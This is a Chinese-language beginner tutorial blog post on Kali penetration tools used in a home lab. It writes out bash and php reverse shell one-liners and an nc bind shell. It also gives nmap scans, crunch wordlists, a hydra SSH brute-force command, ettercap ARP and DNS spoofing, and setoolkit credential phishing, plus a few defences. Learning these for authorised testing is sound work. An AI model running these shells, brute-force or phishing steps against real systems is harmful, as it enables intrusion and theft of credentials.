基础篇——Kali渗透工具初见
1. nc(netcat/ncat)
nc常用于监听端口:
nc -lvp 6666 //监听6666端口,列出详细信息
也可以用于连接端口:
nc 192.168.118.128 6666 //尝试连接192.168.118.128的6666端口
在渗透测试中,nc通常用于监听端口以获得正向shell或反弹shell。
(1) 正向shell
目标机(192.168.118.128)监听端口:
nc -lvp 6666 -e /bin/bash //-e filename program to exec after connect
操作机(192.168.118.130)尝试连接:
nc 192.168.118.128 6666
由于正向shell需要穿透防火墙,因此反弹shell更为常见。
(2) 反弹shell——bash
目标机尝试连接,并将shell的标准输入、标准输出和标准错误重定向至操作机:
bash -i >& /dev/tcp/192.168.118.130/6666 0>&1
bash -i 0>/dev/tcp/192.168.118.130/6666 1>&0 2>&0 //易懂的写法
操作机监听端口:
nc -lvp 6666
(3) 反弹shell——php
和bash类似,但需要依赖php执行环境。
目标机:
php -r '$sock=fsockopen("192.168.118.130",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.118.130",6666);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
操作机:
nc -lvp 6666
2. nmap
主机扫描:
nmap -T4 -sn 192.168.118.0/24
注意被扫描的主机需要关闭防火墙,虽然据说nmap -T4 -Pn 192.168.118.0/24可以扫描,但是实操过程中发现并不靠谱。
端口扫描:
nmap -T4 -sV 192.168.118.131
-sV用于扫描端口及其对应的服务与版本。
操作系统扫描:
nmap -T4 -O 192.168.118.131
-O用于扫描操作系统及其版本。
3. crunch
crunch用于生成密码字典,主要用来和hydra配合使用。
指定字符集:
crunch 4 4 abc > dict1.txt
使用crunch内置字符集:
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space > dict2.txt
指定输出格式:
crunch 8 8 -t admin%%% > dict3.txt //%表示数字 @表示小写字母 ,表示大写字母 ^表示特殊字符
4. hydra(xhydra)
hydra用于密码爆破。
hydra -l admin -P dict3.txt ssh://192.168.118.128:22
5. ettercap
ettercap主要用于arp欺骗,进而进行dns劫持。
(1) arp欺骗(arp poisoning)
arp协议用于将IP地址映射为MAC地址;arp欺骗就是通过向目标机发送arp应答,使其误以为操作机就是arp请求的对象,进而进行嗅探攻击、中间人攻击以及拒绝服务攻击。
(2) dns劫持(dns spoofing)
dns协议用于将域名映射为IP地址或将IP地址映射为域名;dns劫持属于中间人攻击的一种,用于将目标机想要访问的域名解析为指定的IP地址,进而进行网络钓鱼等攻击。
配置/etc/ettercap/etter.dns文件,使目标机对所有域名的查询请求都解析为操作机的IP地址。(需要配置反向查询,原因我也不清楚)
编写测试网页index.html,然后开启Apache2。
使用ettercap -G命令开启ettercap的图形化界面,Scan for hosts,Host list。
将网关加入Target1,将目标机加入Target2,ARP poisoning,DNS spoofing。
Start sniffing,然后在192.168.118.131(Windows)打开edge浏览器,清空缓存,使用http协议访问www.baidu.com(Apache2为http服务器的中间件,因此不能使用https协议访问),显示页面如下,dns劫持成功!
再在192.168.118.128(Linux)打开firefox浏览器,使用同样的方式访问www.baidu.com,显示请求失败,原因是firefox内置Https-Only安全策略,无法使用http协议访问网站。因此可以通过wget的方式拉取页面,进行验证。
(3) dns劫持防御策略
a. 开启防火墙,防止被ettercap使用Scan for hosts扫描。
b. 配置静态ARP,防止被ettercap使用ARP poisoning进行欺骗。
c. 使用内置Https-Only安全策略的浏览器,防止dns劫持。
6. setoolkit
setoolkit全称是social engineer toolkit,即社会工程学工具,是一款非常强大的工具。
下面使用其中的网站钓鱼模块以做演示。
先在网上随便找一个需要输入用户名和密码的登录页面,复制其url。(正规登录网页一般都有重定向的防御策略,尽量不要选择)
然后目标机访问192.168.118.130,输入用户名和密码;回到操作机,成功获取信息!
标签:shell,渗透,Kali,nc,6666,192.168,操作机,初见,dns From: https://www.cnblogs.com/yaoguyuan/p/18251399